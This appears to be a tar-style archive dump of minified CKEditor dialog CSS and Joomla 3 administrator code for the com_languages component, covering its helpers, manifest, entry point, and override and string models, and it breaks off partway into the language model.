.cke_light_background{background-color:#ebebeb}.cke_dialog .cke_centered{text-align:center}.cke_dialog a.cke_btn_reset{float:right;background:url(images/refresh.png) top left no-repeat;width:16px;height:16px;border:1px none;font-size:1px}.cke_hidpi .cke_dialog a.cke_btn_reset{background-size:16px;background-image:url(images/hidpi/refresh.png)}.cke_rtl .cke_dialog a.cke_btn_reset{float:left}.cke_dialog a.cke_btn_locked,.cke_dialog a.cke_btn_unlocked{float:left;width:16px;height:16px;background-repeat:no-repeat;border:none 1px;font-size:1px}.cke_dialog a.cke_btn_locked .cke_icon{display:none}.cke_rtl .cke_dialog a.cke_btn_locked,.cke_rtl .cke_dialog a.cke_btn_unlocked{float:right}.cke_dialog a.cke_btn_locked{background-image:url(images/lock.png)}.cke_dialog a.cke_btn_unlocked{background-image:url(images/lock-open.png)}.cke_hidpi .cke_dialog a.cke_btn_unlocked,.cke_hidpi .cke_dialog a.cke_btn_locked{background-size:16px}.cke_hidpi .cke_dialog a.cke_btn_locked{background-image:url(images/hidpi/lock.png)}.cke_hidpi .cke_dialog a.cke_btn_unlocked{background-image:url(images/hidpi/lock-open.png)}.cke_dialog .cke_btn_over{border:outset 1px;cursor:pointer}.cke_dialog .ImagePreviewBox{border:2px ridge black;overflow:scroll;height:200px;width:300px;padding:2px;background-color:white}.cke_dialog .ImagePreviewBox table td{white-space:normal}.cke_dialog .ImagePreviewLoader{position:absolute;white-space:normal;overflow:hidden;height:160px;width:230px;margin:2px;padding:2px;opacity:.9;filter:alpha(opacity = 90);background-color:#e4e4e4}.cke_dialog .FlashPreviewBox{white-space:normal;border:2px ridge black;overflow:auto;height:160px;width:390px;padding:2px;background-color:white}.cke_dialog .cke_pastetext{width:346px;height:170px}.cke_dialog .cke_pastetext textarea{width:340px;height:170px;resize:none}.cke_dialog iframe.cke_pasteframe{width:346px;height:130px;background-color:white;border:1px solid #aeb3b9;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px}.cke_dialog .cke_hand{cursor:pointer}.cke_disabled{color:#a0a0a0}.cke_dialog_body .cke_label{display:none}.cke_dialog_body label{display:inline;margin-bottom:auto;cursor:default}.cke_dialog_body label.cke_required{font-weight:bold}a.cke_smile{overflow:hidden;display:block;text-align:center;padding:.3em 0}a.cke_smile img{vertical-align:middle}a.cke_specialchar{cursor:inherit;display:block;height:1.25em;padding:.2em .3em;text-align:center}a.cke_smile,a.cke_specialchar{border:1px solid transparent}a.cke_smile:hover,a.cke_smile:focus,a.cke_smile:active,a.cke_specialchar:hover,a.cke_specialchar:focus,a.cke_specialchar:active{background:#fff;outline:0}a.cke_smile:hover,a.cke_specialchar:hover{border-color:#888}a.cke_smile:focus,a.cke_smile:active,a.cke_specialchar:focus,a.cke_specialchar:active{border-color:#139ff7}.cke_dialog_contents a.colorChooser{display:block;margin-top:6px;margin-left:10px;width:80px}.cke_rtl .cke_dialog_contents a.colorChooser{margin-right:10px}.cke_dialog_ui_checkbox_input:focus,.cke_dialog_ui_radio_input:focus,.cke_btn_over{outline:1px dotted #696969}.cke_iframe_shim{display:block;position:absolute;top:0;left:0;z-index:-1;filter:alpha(opacity = 0);width:100%;height:100%}.cke_rtl input.cke_dialog_ui_input_text,.cke_rtl input.cke_dialog_ui_input_password{padding-right:2px}.cke_rtl div.cke_dialog_ui_input_text,.cke_rtl div.cke_dialog_ui_input_password{padding-left:2px}.cke_rtl div.cke_dialog_ui_input_text{padding-right:1px}.cke_rtl .cke_dialog_ui_vbox_child,.cke_rtl .cke_dialog_ui_hbox_child,.cke_rtl .cke_dialog_ui_hbox_first,.cke_rtl .cke_dialog_ui_hbox_last{padding-right:2px!important}.cke_hc .cke_dialog_title,.cke_hc .cke_dialog_footer,.cke_hc a.cke_dialog_tab,.cke_hc a.cke_dialog_ui_button,.cke_hc a.cke_dialog_ui_button:hover,.cke_hc a.cke_dialog_ui_button_ok,.cke_hc a.cke_dialog_ui_button_ok:hover{filter:progid:DXImageTransform.Microsoft.gradient(enabled=false)}.cke_hc div.cke_dialog_ui_input_text,.cke_hc div.cke_dialog_ui_input_password,.cke_hc div.cke_dialog_ui_input_textarea,.cke_hc div.cke_dialog_ui_input_select,.cke_hc div.cke_dialog_ui_input_file{border:0}.cke_dialog_title{zoom:1}.cke_dialog_footer{border-top:1px solid #bfbfbf}.cke_dialog_footer_buttons{position:static}.cke_dialog_footer_buttons a.cke_dialog_ui_button{vertical-align:top}.cke_dialog .cke_resizer_ltr{padding-left:4px}.cke_dialog .cke_resizer_rtl{padding-right:4px}.cke_dialog_ui_input_text,.cke_dialog_ui_input_password,.cke_dialog_ui_input_textarea,.cke_dialog_ui_input_select{padding:0!important}.cke_dialog_ui_checkbox_input,.cke_dialog_ui_ratio_input,.cke_btn_reset,.cke_btn_locked,.cke_btn_unlocked{border:1px solid transparent!important}
com_languages/helpers/multilangstatus.php000060400000017727152455305310015000 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_languages
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
use Joomla\Registry\Registry;

/**
 * Multilang status helper.
 *
 * @since  1.7.1
 */
abstract class MultilangstatusHelper
{
	/**
	 * Method to get the number of published home pages.
	 *
	 * @return  integer
	 */
	public static function getHomes()
	{
		// Check for multiple Home pages.
		$db = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select('COUNT(*)')
			->from($db->quoteName('#__menu'))
			->where('home = 1')
			->where('published = 1')
			->where('client_id = 0');
		$db->setQuery($query);

		return $db->loadResult();
	}

	/**
	 * Method to get the number of published language switcher modules.
	 *
	 * @return  integer
	 */
	public static function getLangswitchers()
	{
		// Check if switcher is published.
		$db = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select('COUNT(*)')
			->from($db->quoteName('#__modules'))
			->where('module = ' . $db->quote('mod_languages'))
			->where('published = 1')
			->where('client_id = 0');
		$db->setQuery($query);

		return $db->loadResult();
	}

	/**
	 * Method to return a list of published content languages.
	 *
	 * @return  array of language objects.
	 */
	public static function getContentlangs()
	{
		// Check for published Content Languages.
		$db = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select('a.lang_code AS lang_code')
			->select('a.published AS published')
			->from('#__languages AS a');
		$db->setQuery($query);

		return $db->loadObjectList();
	}

	/**
	 * Method to return a list of published site languages.
	 *
	 * @return  array of language extension objects.
	 *
	 * @deprecated  4.0  Use JLanguageHelper::getInstalledLanguages(0) instead.
	 */
	public static function getSitelangs()
	{
		try
		{
			JLog::add(
				sprintf('%s() is deprecated, use JLanguageHelper::getInstalledLanguages(0) instead.', __METHOD__),
				JLog::WARNING,
				'deprecated'
			);
		}
		catch (RuntimeException $exception)
		{
			// Informational log only
		}

		return JLanguageHelper::getInstalledLanguages(0);
	}

	/**
	 * Method to return a list of language home page menu items.
	 *
	 * @return  array of menu objects.
	 *
	 * @deprecated  4.0  Use JLanguageMultilang::getSiteHomePages() instead.
	 */
	public static function getHomepages()
	{
		try
		{
			JLog::add(
				sprintf('%s() is deprecated, use JLanguageHelper::getSiteHomePages() instead.', __METHOD__),
				JLog::WARNING,
				'deprecated'
			);
		}
		catch (RuntimeException $exception)
		{
			// Informational log only
		}

		return JLanguageMultilang::getSiteHomePages();
	}

	/**
	 * Method to return combined language status.
	 *
	 * @return  array of language objects.
	 */
	public static function getStatus()
	{
		// Check for combined status.
		$db = JFactory::getDbo();
		$query = $db->getQuery(true);

		// Select all fields from the languages table.
		$query->select('a.*', 'l.home')
			->select('a.published AS published')
			->select('a.lang_code AS lang_code')
			->from('#__languages AS a');

		// Select the language home pages.
		$query->select('l.home AS home')
			->select('l.language AS home_language')
			->join('LEFT', '#__menu AS l ON l.language = a.lang_code AND l.home=1 AND l.published=1 AND l.language <> \'*\'')
			->select('e.enabled AS enabled')
			->select('e.element AS element')
			->join('LEFT', '#__extensions  AS e ON e.element = a.lang_code')
			->where('e.client_id = 0')
			->where('e.enabled = 1')
			->where('e.state = 0');

		$db->setQuery($query);

		return $db->loadObjectList();
	}

	/**
	 * Method to return a list of contact objects.
	 *
	 * @return  array of contact objects.
	 */
	public static function getContacts()
	{
		$db = JFactory::getDbo();
		$languages = count(JLanguageHelper::getLanguages());

		// Get the number of contact with all as language
		$alang = $db->getQuery(true)
			->select('count(*)')
			->from('#__contact_details AS cd')
			->where('cd.user_id=u.id')
			->where('cd.published=1')
			->where('cd.language=' . $db->quote('*'));

		// Get the number of languages for the contact
		$slang = $db->getQuery(true)
			->select('count(distinct(l.lang_code))')
			->from('#__languages as l')
			->join('LEFT', '#__contact_details AS cd ON cd.language=l.lang_code')
			->where('cd.user_id=u.id')
			->where('cd.published=1')
			->where('l.published=1');

		// Get the number of multiple contact/language
		$mlang = $db->getQuery(true)
			->select('count(*)')
			->from('#__languages as l')
			->join('LEFT', '#__contact_details AS cd ON cd.language=l.lang_code')
			->where('cd.user_id=u.id')
			->where('cd.published=1')
			->where('l.published=1')
			->group('l.lang_code')
			->having('count(*) > 1');

		// Get the contacts
		$query = $db->getQuery(true)
			->select('u.name, (' . $alang . ') as alang, (' . $slang . ') as slang, (' . $mlang . ') as mlang')
			->from('#__users AS u')
			->join('LEFT', '#__contact_details AS cd ON cd.user_id=u.id')
			->where('EXISTS (SELECT 1 from #__content as c where  c.created_by=u.id)')
			->group('u.id');

		$db->setQuery($query);
		$warnings = $db->loadObjectList();

		foreach ($warnings as $index => $warn)
		{
			if ($warn->alang == 1 && $warn->slang == 0)
			{
				unset($warnings[$index]);
			}

			if ($warn->alang == 0 && $warn->slang == 0 && empty($warn->mlang))
			{
				unset($warnings[$index]);
			}

			if ($warn->alang == 0 && $warn->slang == $languages && empty($warn->mlang))
			{
				unset($warnings[$index]);
			}
		}

		return $warnings;
	}

	/**
	 * Method to get the status of the module displaying the menutype of the default Home page set to All languages.
	 *
	 * @return  boolean True if the module is published, false otherwise.
	 *
	 * @since   3.7.0
	 */
	public static function getDefaultHomeModule()
	{
		// Find Default Home menutype.
		$db = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select($db->qn('menutype'))
			->from($db->qn('#__menu'))
			->where($db->qn('home') . ' = ' . $db->q('1'))
			->where($db->qn('published') . ' = ' . $db->q('1'))
			->where($db->qn('client_id') . ' = ' . $db->q('0'))
			->where($db->qn('language') . ' = ' . $db->q('*'));

		$db->setQuery($query);

		$menutype = $db->loadResult();

		// Get published site menu modules titles.
		$query->clear()
			->select($db->qn('title'))
			->from($db->qn('#__modules'))
			->where($db->qn('module') . ' = ' . $db->q('mod_menu'))
			->where($db->qn('published') . ' = ' . $db->q('1'))
			->where($db->qn('client_id') . ' = ' . $db->q('0'));

		$db->setQuery($query);

		$menutitles = $db->loadColumn();

		// Do we have a published menu module displaying the default Home menu item set to all languages?
		foreach ($menutitles as $menutitle)
		{
			$module       = self::getModule('mod_menu', $menutitle);
			$moduleParams = new JRegistry($module->params);
			$param        = $moduleParams->get('menutype', '');

			if ($param && $param != $menutype)
			{
				continue;
			}

			return true;
		}
	}

	/**
	 * Get module by name
	 *
	 * @param   string  $moduleName     The name of the module
	 * @param   string  $instanceTitle  The title of the module, optional
	 *
	 * @return  stdClass  The Module object
	 *
	 * @since   3.7.0
	 */
	public static function getModule($moduleName, $instanceTitle = null)
	{
		$db = JFactory::getDbo();

		$query = $db->getQuery(true)
			->select('id, title, module, position, content, showtitle, params')
			->from($db->qn('#__modules'))
			->where($db->qn('module') . ' = ' . $db->q($moduleName))
			->where($db->qn('published') . ' = ' . $db->q('1'))
			->where($db->qn('client_id') . ' = ' . $db->q('0'));

		if ($instanceTitle)
		{
			$query->where($db->qn('title') . ' = ' . $db->q($instanceTitle));
		}

		$db->setQuery($query);

		try
		{
			$modules = $db->loadObject();
		}
		catch (RuntimeException $e)
		{
			JLog::add(JText::sprintf('JLIB_APPLICATION_ERROR_MODULE_LOAD', $e->getMessage()), JLog::WARNING, 'jerror');
		}

		return $modules;
	}
}
com_languages/helpers/html/languages.php000060400000004020152455305310014430 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_languages
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Utility class working with languages
 *
 * @since  1.6
 */
abstract class JHtmlLanguages
{
	/**
	 * Method to generate an information about the default language.
	 *
	 * @param   boolean  $published  True if the language is the default.
	 *
	 * @return  string	HTML code.
	 */
	public static function published($published)
	{
		if (!$published)
		{
			return '&#160;';
		}

		return JHtml::_('image', 'menu/icon-16-default.png', JText::_('COM_LANGUAGES_HEADING_DEFAULT'), null, true);
	}

	/**
	 * Method to generate an input radio button.
	 *
	 * @param   integer  $rowNum    The row number.
	 * @param   string   $language  Language tag.
	 *
	 * @return  string	HTML code.
	 */
	public static function id($rowNum, $language)
	{
		return '<input'
			. ' type="radio"'
			. ' id="cb' . $rowNum . '"'
			. ' name="cid"'
			. ' value="' . htmlspecialchars($language, ENT_COMPAT, 'UTF-8') . '"'
			. ' onclick="Joomla.isChecked(this.checked);"'
			. ' title="' . ($rowNum + 1) . '"'
			. '/>';
	}

	/**
	 * Method to generate an array of clients.
	 *
	 * @return  array of client objects.
	 */
	public static function clients()
	{
		return array(
			JHtml::_('select.option', 0, JText::_('JSITE')),
			JHtml::_('select.option', 1, JText::_('JADMINISTRATOR'))
		);
	}

	/**
	 * Returns an array of published state filter options.
	 *
	 * @return  string  	The HTML code for the select tag.
	 *
	 * @since   1.6
	 */
	public static function publishedOptions()
	{
		// Build the active state filter options.
		$options   = array();
		$options[] = JHtml::_('select.option', '1', 'JPUBLISHED');
		$options[] = JHtml::_('select.option', '0', 'JUNPUBLISHED');
		$options[] = JHtml::_('select.option', '-2', 'JTRASHED');
		$options[] = JHtml::_('select.option', '*', 'JALL');

		return $options;
	}
}
com_languages/helpers/jsonresponse.php000060400000005263152455305310014260 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_languages
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * JSON Response class.
 *
 * @since       2.5
 * @deprecated  4.0
 */
class JJsonResponse
{
	/**
	 * Determines whether the request was successful.
	 *
	 * @var    boolean
	 * @since  2.5
	 */
	public $success = true;

	/**
	 * Determines whether the request wasn't successful.
	 * This is always the negation of $this->success,
	 * so you can use both flags equivalently.
	 *
	 * @var    boolean
	 * @since  2.5
	 */
	public $error = false;

	/**
	 * The main response message.
	 *
	 * @var    string
	 * @since  2.5
	 */
	public $message = null;

	/**
	 * Array of messages gathered in the JApplication object.
	 *
	 * @var    array
	 * @since  2.5
	 */
	public $messages = null;

	/**
	 * The response data.
	 *
	 * @var    mixed
	 * @since  2.5
	 */
	public $data = null;

	/**
	 * Constructor
	 *
	 * @param   mixed    $response  The Response data.
	 * @param   string   $message   The main response message.
	 * @param   boolean  $error     True, if the success flag shall be set to false, defaults to false.
	 *
	 * @since		2.5
	 * @deprecated	4.0	 Use JResponseJson instead.
	 */
	public function __construct($response = null, $message = null, $error = false)
	{
		try
		{
			JLog::add(sprintf('%s is deprecated, use JResponseJson instead.', __CLASS__), JLog::WARNING, 'deprecated');
		}
		catch (RuntimeException $exception)
		{
			// Informational log only
		}

		$this->message = $message;

		// Get the message queue.
		$messages = JFactory::getApplication()->getMessageQueue();

		// Build the sorted messages list.
		if (is_array($messages) && count($messages))
		{
			foreach ($messages as $message)
			{
				if (isset($message['type']) && isset($message['message']))
				{
					$lists[$message['type']][] = $message['message'];
				}
			}
		}

		// If messages exist add them to the output.
		if (isset($lists) && is_array($lists))
		{
			$this->messages = $lists;
		}

		// Check if we are dealing with an error.
		if ($response instanceof Exception)
		{
			// Prepare the error response.
			$this->success = false;
			$this->error   = true;
			$this->message = $response->getMessage();
		}
		else
		{
			// Prepare the response data.
			$this->success = !$error;
			$this->error   = $error;
			$this->data    = $response;
		}
	}

	/**
	 * Magic toString method for sending the response in JSON format.
	 *
	 * @return  string  The response in JSON format.
	 *
	 * @since   2.5
	 */
	public function __toString()
	{
		return json_encode($this);
	}
}
com_languages/helpers/languages.php000060400000005657152455305310013505 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_languages
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Languages component helper.
 *
 * @since  1.6
 */
class LanguagesHelper
{
	/**
	 * Configure the Linkbar.
	 *
	 * @param   string  $vName   The name of the active view.
	 * @param   int     $client  The client id of the active view. Maybe be 0 or 1.
	 *
	 * @return  void
	 *
	 * @deprecated  4.0 $client parameter is not needed anymore.
	 */
	public static function addSubmenu($vName, $client = 0)
	{
		JHtmlSidebar::addEntry(
			JText::_('COM_LANGUAGES_SUBMENU_INSTALLED'),
			'index.php?option=com_languages&view=installed',
			$vName == 'installed'
		);
		JHtmlSidebar::addEntry(
			JText::_('COM_LANGUAGES_SUBMENU_CONTENT'),
			'index.php?option=com_languages&view=languages',
			$vName == 'languages'
		);
		JHtmlSidebar::addEntry(
			JText::_('COM_LANGUAGES_SUBMENU_OVERRIDES'),
			'index.php?option=com_languages&view=overrides',
			$vName == 'overrides'
		);
	}

	/**
	 * Gets a list of the actions that can be performed.
	 *
	 * @return  JObject
	 *
	 * @deprecated  3.2  Use JHelperContent::getActions() instead.
	 */
	public static function getActions()
	{
		// Log usage of deprecated function.
		try
		{
			JLog::add(
				sprintf('%s() is deprecated. Use JHelperContent::getActions() with new arguments order instead.', __METHOD__),
				JLog::WARNING,
				'deprecated'
			);
		}
		catch (RuntimeException $exception)
		{
			// Informational log only
		}

		// Get list of actions.
		return JHelperContent::getActions('com_languages');
	}

	/**
	 * Method for parsing ini files.
	 *
	 * @param   string  $fileName  Path and name of the ini file to parse.
	 *
	 * @return  array   Array of strings found in the file, the array indices will be the keys. On failure an empty array will be returned.
	 *
	 * @since   2.5
	 * @deprecated   3.9.0 Use JLanguageHelper::parseIniFile() instead.
	 */
	public static function parseFile($fileName)
	{
		return JLanguageHelper::parseIniFile($fileName);
	}

	/**
	 * Filter method for language keys.
	 * This method will be called by JForm while filtering the form data.
	 *
	 * @param   string  $value  The language key to filter.
	 *
	 * @return  string	The filtered language key.
	 *
	 * @since		2.5
	 */
	public static function filterKey($value)
	{
		$filter = JFilterInput::getInstance(null, null, 1, 1);

		return strtoupper($filter->clean($value, 'cmd'));
	}

	/**
	 * Filter method for language strings.
	 * This method will be called by JForm while filtering the form data.
	 *
	 * @param   string  $value  The language string to filter.
	 *
	 * @return  string	The filtered language string.
	 *
	 * @since		2.5
	 */
	public static function filterText($value)
	{
		$filter = JFilterInput::getInstance(null, null, 1, 1);

		return $filter->clean($value);
	}
}
com_languages/languages.xml000060400000002015152455305310012035 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="component" version="3.1" method="upgrade">
	<name>com_languages</name>
	<author>Joomla! Project</author>
	<creationDate>April 2006</creationDate>
	<copyright>(C) 2006 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>COM_LANGUAGES_XML_DESCRIPTION</description>
	<administration>
		<files folder="admin">
			<filename>config.xml</filename>
			<filename>controller.php</filename>
			<filename>languages.php</filename>
			<folder>controllers</folder>
			<folder>helpers</folder>
			<folder>models</folder>
			<folder>tables</folder>
			<folder>views</folder>
		</files>
		<languages folder="admin">
			<language tag="en-GB">language/en-GB.com_languages.ini</language>
			<language tag="en-GB">language/en-GB.com_languages.sys.ini</language>
		</languages>
	</administration>
</extension>

com_languages/languages.php000060400000001134152455305310012025 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_languages
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
JHtml::_('behavior.tabstate');

if (!JFactory::getUser()->authorise('core.manage', 'com_languages'))
{
	throw new JAccessExceptionNotallowed(JText::_('JERROR_ALERTNOAUTHOR'), 403);
}

$controller = JControllerLegacy::getInstance('Languages');
$controller->execute(JFactory::getApplication()->input->get('task'));
$controller->redirect();
com_languages/models/overrides.php000060400000014716152455305310013356 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_languages
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Languages Overrides Model
 *
 * @since  2.5
 */
class LanguagesModelOverrides extends JModelList
{
	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 *
	 * @since   2.5
	 */
	public function __construct($config = array())
	{
		parent::__construct($config);

		$this->filter_fields = array('key', 'text');
	}

	/**
	 * Retrieves the overrides data
	 *
	 * @param   boolean  $all  True if all overrides shall be returned without considering pagination, defaults to false
	 *
	 * @return  array  Array of objects containing the overrides of the override.ini file
	 *
	 * @since   2.5
	 */
	public function getOverrides($all = false)
	{
		// Get a storage key.
		$store = $this->getStoreId();

		// Try to load the data from internal storage.
		if (!empty($this->cache[$store]))
		{
			return $this->cache[$store];
		}

		$client = strtoupper($this->getState('filter.client'));

		// Parse the override.ini file in order to get the keys and strings.
		$fileName = constant('JPATH_' . $client) . '/language/overrides/' . $this->getState('filter.language') . '.override.ini';
		$strings  = JLanguageHelper::parseIniFile($fileName);

		// Delete the override.ini file if empty.
		if (file_exists($fileName) && $strings === array())
		{
			JFile::delete($fileName);
		}

		// Filter the loaded strings according to the search box.
		$search = $this->getState('filter.search');

		if ($search != '')
		{
			$search = preg_quote($search, '~');
			$matchvals = preg_grep('~' . $search . '~i', $strings);
			$matchkeys = array_intersect_key($strings, array_flip(preg_grep('~' . $search . '~i',  array_keys($strings))));
			$strings = array_merge($matchvals, $matchkeys);
		}

		// Consider the ordering
		if ($this->getState('list.ordering') == 'text')
		{
			if (strtoupper($this->getState('list.direction')) == 'DESC')
			{
				arsort($strings);
			}
			else
			{
				asort($strings);
			}
		}
		else
		{
			if (strtoupper($this->getState('list.direction')) == 'DESC')
			{
				krsort($strings);
			}
			else
			{
				ksort($strings);
			}
		}

		// Consider the pagination.
		if (!$all && $this->getState('list.limit') && $this->getTotal() > $this->getState('list.limit'))
		{
			$strings = array_slice($strings, $this->getStart(), $this->getState('list.limit'), true);
		}

		// Add the items to the internal cache.
		$this->cache[$store] = $strings;

		return $this->cache[$store];
	}

	/**
	 * Method to get the total number of overrides.
	 *
	 * @return  integer  The total number of overrides.
	 *
	 * @since   2.5
	 */
	public function getTotal()
	{
		// Get a storage key.
		$store = $this->getStoreId('getTotal');

		// Try to load the data from internal storage
		if (!empty($this->cache[$store]))
		{
			return $this->cache[$store];
		}

		// Add the total to the internal cache.
		$this->cache[$store] = count($this->getOverrides(true));

		return $this->cache[$store];
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   An optional ordering field.
	 * @param   string  $direction  An optional direction (asc|desc).
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	protected function populateState($ordering = 'key', $direction = 'asc')
	{
		// We call populate state first so that we can then set the filter.client and filter.language properties in afterwards
		parent::populateState($ordering, $direction);

		$app = JFactory::getApplication();

		$language_client = $this->getUserStateFromRequest('com_languages.overrides.language_client', 'language_client', '', 'cmd');
		$client          = substr($language_client, -1);
		$language        = substr($language_client, 0, -1);

		// Sets the search filter.
		$search = $this->getUserStateFromRequest($this->context . '.filter.search', 'filter_search');
		$this->setState('filter.search', $search);

		$this->setState('language_client', $language . $client);
		$this->setState('filter.client', $client ? 'administrator' : 'site');
		$this->setState('filter.language', $language);

		// Add the 'language_client' value to the session to display a message if none selected
		$app->setUserState('com_languages.overrides.language_client', $language . $client);

		// Add filters to the session because they won't be stored there by 'getUserStateFromRequest' if they aren't in the current request.
		$app->setUserState('com_languages.overrides.filter.client', $client);
		$app->setUserState('com_languages.overrides.filter.language', $language);
	}

	/**
	 * Method to delete one or more overrides.
	 *
	 * @param   array  $cids  Array of keys to delete.
	 *
	 * @return  integer  Number of successfully deleted overrides, boolean false if an error occurred.
	 *
	 * @since   2.5
	 */
	public function delete($cids)
	{
		// Check permissions first.
		if (!JFactory::getUser()->authorise('core.delete', 'com_languages'))
		{
			$this->setError(JText::_('JLIB_APPLICATION_ERROR_DELETE_NOT_PERMITTED'));

			return false;
		}

		jimport('joomla.filesystem.file');

		$filterclient = JFactory::getApplication()->getUserState('com_languages.overrides.filter.client');
		$client = $filterclient == 0 ? 'SITE' : 'ADMINISTRATOR';

		// Parse the override.ini file in oder to get the keys and strings.
		$fileName = constant('JPATH_' . $client) . '/language/overrides/' . $this->getState('filter.language') . '.override.ini';
		$strings  = JLanguageHelper::parseIniFile($fileName);

		// Unset strings that shall be deleted
		foreach ($cids as $key)
		{
			if (isset($strings[$key]))
			{
				unset($strings[$key]);
			}
		}

		// Write override.ini file with the strings.
		if (JLanguageHelper::saveToIniFile($fileName, $strings) === false)
		{
			return false;
		}

		$this->cleanCache();

		return count($cids);
	}

	/**
	 * Removes all of the cached strings from the table.
	 *
	 * @return  boolean  result of operation
	 *
	 * @since   3.4.2
	 */
	public function purge()
	{
		$db = JFactory::getDbo();

		// Note: TRUNCATE is a DDL operation
		// This may or may not mean depending on your database
		try
		{
			$db->truncateTable('#__overrider');
		}
		catch (RuntimeException $e)
		{
			return $e;
		}

		JFactory::getApplication()->enqueueMessage(JText::_('COM_LANGUAGES_VIEW_OVERRIDES_PURGE_SUCCESS'));
	}
}
com_languages/models/strings.php000060400000010436152455305310013040 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_languages
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Languages Strings Model
 *
 * @since  2.5
 */
class LanguagesModelStrings extends JModelLegacy
{
	/**
	 * Method for refreshing the cache in the database with the known language strings.
	 *
	 * @return  boolean  True on success, Exception object otherwise.
	 *
	 * @since		2.5
	 */
	public function refresh()
	{
		JLoader::register('LanguagesHelper', JPATH_ADMINISTRATOR . '/components/com_languages/helpers/languages.php');

		$app = JFactory::getApplication();

		$app->setUserState('com_languages.overrides.cachedtime', null);

		// Empty the database cache first.
		try
		{
			$this->_db->setQuery('TRUNCATE TABLE ' . $this->_db->quoteName('#__overrider'));
			$this->_db->execute();
		}
		catch (RuntimeException $e)
		{
			return $e;
		}

		// Create the insert query.
		$query = $this->_db->getQuery(true)
			->insert($this->_db->quoteName('#__overrider'))
			->columns('constant, string, file');

		// Initialize some variables.
		$client   = $app->getUserState('com_languages.overrides.filter.client', 'site') ? 'administrator' : 'site';
		$language = $app->getUserState('com_languages.overrides.filter.language', 'en-GB');

		$base = constant('JPATH_' . strtoupper($client));
		$path = $base . '/language/' . $language;

		$files = array();

		// Parse common language directory.
		jimport('joomla.filesystem.folder');

		if (is_dir($path))
		{
			$files = JFolder::files($path, '.*ini$', false, true);
		}

		// Parse language directories of components.
		$files = array_merge($files, JFolder::files($base . '/components', '.*ini$', 3, true));

		// Parse language directories of modules.
		$files = array_merge($files, JFolder::files($base . '/modules', '.*ini$', 3, true));

		// Parse language directories of templates.
		$files = array_merge($files, JFolder::files($base . '/templates', '.*ini$', 3, true));

		// Parse language directories of plugins.
		$files = array_merge($files, JFolder::files(JPATH_PLUGINS, '.*ini$', 4, true));

		// Parse all found ini files and add the strings to the database cache.
		foreach ($files as $file)
		{
			$strings = LanguagesHelper::parseFile($file);

			if ($strings && count($strings))
			{
				$query->clear('values');

				foreach ($strings as $key => $string)
				{
					$query->values($this->_db->quote($key) . ',' . $this->_db->quote($string) . ',' . $this->_db->quote(JPath::clean($file)));
				}

				try
				{
					$this->_db->setQuery($query);
					$this->_db->execute();
				}
				catch (RuntimeException $e)
				{
					return $e;
				}
			}
		}

		// Update the cached time.
		$app->setUserState('com_languages.overrides.cachedtime.' . $client . '.' . $language, time());

		return true;
	}

	/**
	 * Method for searching language strings.
	 *
	 * @return  array  Array of results on success, Exception object otherwise.
	 *
	 * @since		2.5
	 */
	public function search()
	{
		$results = array();
		$input   = JFactory::getApplication()->input;
		$filter  = JFilterInput::getInstance();
		$searchTerm = $input->getString('searchstring');

		$limitstart = $input->getInt('more');

		try
		{
			$searchstring = $this->_db->quote('%' . $filter->clean($searchTerm, 'TRIM') . '%');

			// Create the search query.
			$query = $this->_db->getQuery(true)
				->select('constant, string, file')
				->from($this->_db->quoteName('#__overrider'));

			if ($input->get('searchtype') == 'constant')
			{
				$query->where('constant LIKE ' . $searchstring);
			}
			else
			{
				$query->where('string LIKE ' . $searchstring);
			}

			// Consider the limitstart according to the 'more' parameter and load the results.
			$this->_db->setQuery($query, $limitstart, 10);
			$results['results'] = $this->_db->loadObjectList();

			// Check whether there are more results than already loaded.
			$query->clear('select')->clear('limit')
				->select('COUNT(id)');
			$this->_db->setQuery($query);

			if ($this->_db->loadResult() > $limitstart + 10)
			{
				// If this is set a 'More Results' link will be displayed in the view.
				$results['more'] = $limitstart + 10;
			}
		}
		catch (RuntimeException $e)
		{
			return $e;
		}

		return $results;
	}
}
com_languages/models/language.php000060400000014016152455305310013130 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_languages
 *
